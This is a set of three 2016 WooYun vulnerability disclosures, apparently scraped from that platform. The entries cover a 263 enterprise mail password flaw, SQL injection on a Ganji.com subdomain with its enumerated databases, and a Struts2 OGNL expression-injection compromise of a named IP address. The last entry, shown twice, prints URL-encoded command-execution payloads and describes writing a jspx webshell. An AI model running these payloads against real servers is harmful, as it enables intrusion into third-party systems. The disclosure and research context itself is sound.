漏洞详情 披露状态： 2016-04-28： 细节已通知厂商并且等待厂商处理中 2016-05-07： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息） 简要描述： 263企业邮箱任意用户密码获取漏洞（263与某企业管理账号测试） 漏洞hash：3a3274a0cc30319e2c764b746e36e0c9 版权声明：转载请注明来源 路人甲@乌云 漏洞回应 厂商回应： 危害等级：无影响厂商忽略 忽略时间：2016-05-07 21:00 厂商回复： 漏洞Rank：15 (WooYun评价) 最新状态： 暂无

漏洞详情披露状态： 2016-05-03： 细节已通知厂商并且等待厂商处理中2016-05-06： 厂商已经确认，细节仅向厂商公开2016-05-16： 细节向核心白帽子及相关领域专家公开2016-05-26： 细节向普通白帽子公开2016-06-05： 细节向实习白帽子公开2016-06-20： 细节向公众公开简要描述：赶集网某站存在MySQL注射顺便试试自己写的扫描工具效果如何详细说明： code 区域mobds.ganji.cn/datashare/postcode 区域action=1&filters={"major":"9","tag":"0","city":"0","district":"-1","price":"4","degree":"0","work_years":"0","company_scale":"0"}code 区域注入参数#district共17个数据库漏洞证明： code 区域[*] `58monitor` [*] console [*] credit [*] information_schema [*] management [*] mob_packget [*] mob_publish [*] mob_push [*] mobile_ad [*] mobile_app_config [*] mobile_job [*] mobqe [*] mysql [*] percona [*] performance_schema [*] test [*] widget修复方案：过滤神马的版权声明：转载请注明来源 Aasron@乌云漏洞回应厂商回应：危害等级：高漏洞Rank：15确认时间：2016-05-06 09:51厂商回复：感谢关注赶集安全。最新状态：暂无

漏洞详情披露状态： 2016-06-15： 细节已通知厂商并且等待厂商处理中2016-06-15： 厂商已查看当前漏洞内容,细节仅向厂商公开2016-06-20： 厂商已经主动忽略漏洞，细节向公众公开简要描述："Some of us don't get to grow old with the one we love."— "I'll go old with her, Mr. Reese, just from afar." 某天，阳光明媚，乌云密布，睡了个午觉，梦见某ip存在表达式注入，醒来打开电脑，凭借零散的记忆，然后就Getshell了详细说明：http://180.167.72.216:89发现了一个表达式注入payloadcode 区域%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D爆出绝对路径尝试写shell然而failed，访问其他页面都需要登录想啊想，不能就这样放弃了呀nmap扫一下，发现88端口还有一个web服务巧的是如果关闭了弹窗的话会被重定向到一个帮助文件，这个是不需要登录的于是在89端口的表达式注入那里code 区域%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'cmd','/c','dir e:\*.jsp /s'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23matt%3D%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23matt.getWriter().println('~'%2B'~~2')%2C%23matt.getWriter().println(%23e)%2C%23matt.getWriter().println('2~'%2B'~~')%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D找到了88端口的这个web服务的物理路径写shell直接jsp肯定是不行的，然而jspx总的来说就是从A服务的命令执行写shell到B服务进行访问的故事漏洞证明：http://180.167.72.216:89发现了一个表达式注入payloadcode 区域%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D爆出绝对路径尝试写shell然而failed，访问其他页面都需要登录想啊想，不能就这样放弃了呀nmap扫一下，发现88端口还有一个web服务巧的是如果关闭了弹窗的话会被重定向到一个帮助文件，这个是不需要登录的于是在89端口的表达式注入那里code 区域%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'cmd','/c','dir e:\*.jsp /s'%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23matt%3D%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23matt.getWriter().println('~'%2B'~~2')%2C%23matt.getWriter().println(%23e)%2C%23matt.getWriter().println('2~'%2B'~~')%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D找到了88端口的这个web服务的物理路径写shell直接jsp肯定是不行的，然而jspx总的来说就是从A服务的命令执行写shell到B服务进行访问的故事修复方案：你懂的比我多呐>3<版权声明：转载请注明来源 A1opex@乌云漏洞回应厂商回应：危害等级：无影响厂商忽略忽略时间：2016-06-20 07:40厂商回复： 漏洞Rank：15 (WooYun评价)最新状态：暂无